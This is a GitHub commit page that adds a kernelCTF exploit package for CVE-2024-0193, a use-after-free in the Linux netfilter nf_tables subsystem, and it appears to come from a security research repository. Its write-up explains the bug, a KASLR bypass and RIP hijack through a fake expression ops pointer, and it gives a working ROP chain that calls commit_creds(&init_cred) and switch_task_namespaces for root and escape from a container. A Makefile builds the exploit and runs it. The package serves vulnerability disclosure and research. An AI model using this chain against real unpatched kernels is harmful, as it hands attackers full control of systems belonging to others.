-
Notifications
You must be signed in to change notification settings - Fork 416
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add kernelCTF CVE-2024-0193_mitigation (#121)
Co-authored-by: Mingi Cho <[email protected]>
- Loading branch information
Showing
8 changed files
with
1,370 additions
and
0 deletions.
There are no files selected for viewing
214 changes: 214 additions & 0 deletions
214
pocs/linux/kernelctf/CVE-2024-0193_mitigation/docs/exploit.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,214 @@ | ||
# Overview | ||
|
||
This vulnerability was discovered by Kevin Rich, and his write-up targeting the LTS kernel can be found [here](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-0193_lts). | ||
|
||
The vulnerability is caused by not validating whether the set is deleted or not when performing GC on set elements. First, deleting the set calls the `nft_delset` function, which decrements the reference count of objects mapped to the set elements in the `nft_map_deactivate` function [1]. | ||
|
||
```c | ||
static int nft_delset(const struct nft_ctx *ctx, struct nft_set *set) | ||
{ | ||
int err; | ||
|
||
err = nft_trans_set_add(ctx, NFT_MSG_DELSET, set); | ||
if (err < 0) | ||
return err; | ||
|
||
if (set->flags & (NFT_SET_MAP | NFT_SET_OBJECT)) | ||
nft_map_deactivate(ctx, set); // [1] | ||
|
||
nft_deactivate_next(ctx->net, set); | ||
nft_use_dec(&ctx->table->use); | ||
|
||
return err; | ||
} | ||
``` | ||
Then, during the GC process, the `nft_trans_gc_catchall_sync` function is called, and the reference count of the object mapped to the element is decremented once more in the `nft_setelem_data_deactivate` function [2]. | ||
```c | ||
struct nft_trans_gc *nft_trans_gc_catchall_sync(struct nft_trans_gc *gc) | ||
{ | ||
struct nft_set_elem_catchall *catchall, *next; | ||
const struct nft_set *set = gc->set; | ||
struct nft_set_elem elem; | ||
struct nft_set_ext *ext; | ||
WARN_ON_ONCE(!lockdep_commit_lock_is_held(gc->net)); | ||
list_for_each_entry_safe(catchall, next, &set->catchall_list, list) { | ||
ext = nft_set_elem_ext(set, catchall->elem); | ||
if (!nft_set_elem_expired(ext)) | ||
continue; | ||
gc = nft_trans_gc_queue_sync(gc, GFP_KERNEL); | ||
if (!gc) | ||
return NULL; | ||
memset(&elem, 0, sizeof(elem)); | ||
elem.priv = catchall->elem; | ||
nft_setelem_data_deactivate(gc->net, gc->set, &elem); // [2] | ||
nft_setelem_catchall_destroy(catchall); | ||
nft_trans_gc_elem_add(gc, elem.priv); | ||
} | ||
return gc; | ||
} | ||
``` | ||
|
||
# KASLR Bypass and Information Leak | ||
|
||
To bypass KASLR, I used a timing side channel attack to leak the kernel base, and created a fake ops in the non-randomized CPU entry area (CVE-2023-0597) without leaking the heap address. | ||
|
||
# RIP Control | ||
|
||
```c | ||
struct nft_chain { | ||
struct nft_rule_blob __rcu *blob_gen_0; | ||
struct nft_rule_blob __rcu *blob_gen_1; | ||
struct list_head rules; | ||
struct list_head list; | ||
struct rhlist_head rhlhead; | ||
struct nft_table *table; | ||
u64 handle; | ||
u32 use; | ||
u8 flags:5, | ||
bound:1, | ||
genmask:2; | ||
char *name; | ||
u16 udlen; | ||
u8 *udata; | ||
|
||
/* Only used during control plane commit phase: */ | ||
struct nft_rule_blob *blob_next; | ||
}; | ||
``` | ||
|
||
When the vulnerability is triggered, the freed `chain->blob_gen_0` can be accessed via `immediate expr`. | ||
|
||
```c | ||
unsigned int | ||
nft_do_chain(struct nft_pktinfo *pkt, void *priv) | ||
{ | ||
... | ||
do_chain: | ||
if (genbit) | ||
blob = rcu_dereference(chain->blob_gen_1); | ||
else | ||
blob = rcu_dereference(chain->blob_gen_0); | ||
|
||
rule = (struct nft_rule_dp *)blob->data; | ||
last_rule = (void *)blob->data + blob->size; | ||
next_rule: | ||
regs.verdict.code = NFT_CONTINUE; | ||
for (; rule < last_rule; rule = nft_rule_next(rule)) { | ||
nft_rule_dp_for_each_expr(expr, last, rule) { | ||
if (expr->ops == &nft_cmp_fast_ops) | ||
nft_cmp_fast_eval(expr, ®s); | ||
else if (expr->ops == &nft_cmp16_fast_ops) | ||
nft_cmp16_fast_eval(expr, ®s); | ||
else if (expr->ops == &nft_bitwise_fast_ops) | ||
nft_bitwise_fast_eval(expr, ®s); | ||
else if (expr->ops != &nft_payload_fast_ops || | ||
!nft_payload_fast_eval(expr, ®s, pkt)) | ||
expr_call_ops_eval(expr, ®s, pkt); | ||
|
||
if (regs.verdict.code != NFT_CONTINUE) | ||
break; | ||
} | ||
``` | ||
```c | ||
static void expr_call_ops_eval(const struct nft_expr *expr, | ||
struct nft_regs *regs, | ||
struct nft_pktinfo *pkt) | ||
{ | ||
#ifdef CONFIG_RETPOLINE | ||
unsigned long e = (unsigned long)expr->ops->eval; | ||
#define X(e, fun) \ | ||
do { if ((e) == (unsigned long)(fun)) \ | ||
return fun(expr, regs, pkt); } while (0) | ||
X(e, nft_payload_eval); | ||
X(e, nft_cmp_eval); | ||
X(e, nft_counter_eval); | ||
X(e, nft_meta_get_eval); | ||
X(e, nft_lookup_eval); | ||
X(e, nft_range_eval); | ||
X(e, nft_immediate_eval); | ||
X(e, nft_byteorder_eval); | ||
X(e, nft_dynset_eval); | ||
X(e, nft_rt_get_eval); | ||
X(e, nft_bitwise_eval); | ||
#undef X | ||
#endif /* CONFIG_RETPOLINE */ | ||
expr->ops->eval(expr, regs, pkt); | ||
} | ||
``` | ||
|
||
`chain->blob_gen_0` is used in `nft_do_chain`, and `expr->ops->eval` is called to evaluate the expression in `expr_call_ops_eval`. We set the ops of the fake expr to the CPU entry area to control the RIP and allocate the fake blob object larger than 0x2000 to use page allocator. | ||
|
||
# Post-RIP | ||
|
||
The ROP payload is stored in `chain->blob_gen_0` which is allocated by page allocator. | ||
|
||
```c | ||
void rop_chain(uint64_t* data){ | ||
int i = 0; | ||
|
||
data[i++] = 0x100; | ||
data[i++] = 0x100; | ||
data[i++] = PAYLOAD_LOCATION(1) + offsetof(struct cpu_entry_area_payload, nft_expr_eval); | ||
|
||
// current = find_task_by_vpid(getpid()) | ||
data[i++] = kbase + POP_RDI_RET; | ||
data[i++] = getpid(); | ||
data[i++] = kbase + FIND_TASK_BY_VPID; | ||
|
||
// current += offsetof(struct task_struct, rcu_read_lock_nesting) | ||
data[i++] = kbase + POP_RSI_RET; | ||
data[i++] = RCU_READ_LOCK_NESTING_OFF; | ||
data[i++] = kbase + ADD_RAX_RSI_RET; | ||
|
||
// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) | ||
data[i++] = kbase + POP_RCX_RET; | ||
data[i++] = 0; | ||
data[i++] = kbase + MOV_RAX_RCX_RET; | ||
|
||
// Bypass "schedule while atomic": set oops_in_progress = 1 | ||
data[i++] = kbase + POP_RDI_RET; | ||
data[i++] = 1; | ||
data[i++] = kbase + POP_RSI_RET; | ||
data[i++] = kbase + OOPS_IN_PROGRESS; | ||
data[i++] = kbase + MOV_RSI_RDI_RET; | ||
|
||
// commit_creds(&init_cred) | ||
data[i++] = kbase + POP_RDI_RET; | ||
data[i++] = kbase + INIT_CRED; | ||
data[i++] = kbase + COMMIT_CREDS; | ||
|
||
// find_task_by_vpid(1) | ||
data[i++] = kbase + POP_RDI_RET; | ||
data[i++] = 1; | ||
data[i++] = kbase + FIND_TASK_BY_VPID; | ||
|
||
data[i++] = kbase + POP_RSI_RET; | ||
data[i++] = 0; | ||
|
||
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) | ||
data[i++] = kbase + MOV_RDI_RAX_RET; | ||
data[i++] = kbase + POP_RSI_RET; | ||
data[i++] = kbase + INIT_NSPROXY; | ||
data[i++] = kbase + SWITCH_TASK_NAMESPACES; | ||
|
||
data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE; | ||
data[i++] = 0; | ||
data[i++] = 0; | ||
data[i++] = _user_rip; | ||
data[i++] = _user_cs; | ||
data[i++] = _user_rflags; | ||
data[i++] = _user_sp; | ||
data[i++] = _user_ss; | ||
} | ||
``` |
12 changes: 12 additions & 0 deletions
12
pocs/linux/kernelctf/CVE-2024-0193_mitigation/docs/vulnerability.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
- Requirements: | ||
- Capabilities: CAP_NET_ADMIN | ||
- Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES | ||
- User namespaces required: Yes | ||
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a5 (netfilter: nf_tables: GC transaction API to avoid race with control plane) | ||
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7315dc1e122c85ffdfc8defffbb8f8b616c2eb1a (netfilter: nf_tables: skip set commit for deleted/destroyed sets) | ||
- Affected Version: v6.5-rc6 - v6.7-rc8 | ||
- Affected Component: net/netfilter | ||
- Cause: Use-After-Free | ||
- Syscall to disable: disallow unprivileged username space | ||
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-0193 | ||
- Description: A use-after-free flaw was found in the netfilter subsystem of the Linux kernel. If the catchall element is garbage-collected when the pipapo set is removed, the element can be deactivated twice. This can cause a use-after-free issue on an NFT_CHAIN object or NFT_OBJECT object, allowing a local unprivileged user with CAP_NET_ADMIN capability to escalate their privileges on the system. |
35 changes: 35 additions & 0 deletions
35
pocs/linux/kernelctf/CVE-2024-0193_mitigation/exploit/mitigation-v3-6.1.55/Makefile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
LIBMNL_DIR = $(realpath ./)/libmnl_build | ||
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build | ||
|
||
exploit: | ||
gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -static -s | ||
|
||
prerequisites: libmnl-build libnftnl-build | ||
|
||
libmnl-build : libmnl-download | ||
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install | ||
|
||
libnftnl-build : libmnl-build libnftnl-download | ||
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install | ||
|
||
libmnl-download : | ||
mkdir $(LIBMNL_DIR) | ||
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 | ||
|
||
libnftnl-download : | ||
mkdir $(LIBNFTNL_DIR) | ||
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz | ||
|
||
run: | ||
./exploit | ||
|
||
clean: | ||
rm -rf $(LIBMNL_DIR) | ||
rm -rf $(LIBNFTNL_DIR) | ||
rm -f exploit |
Binary file added
BIN
+920 KB
pocs/linux/kernelctf/CVE-2024-0193_mitigation/exploit/mitigation-v3-6.1.55/exploit
Binary file not shown.
Oops, something went wrong.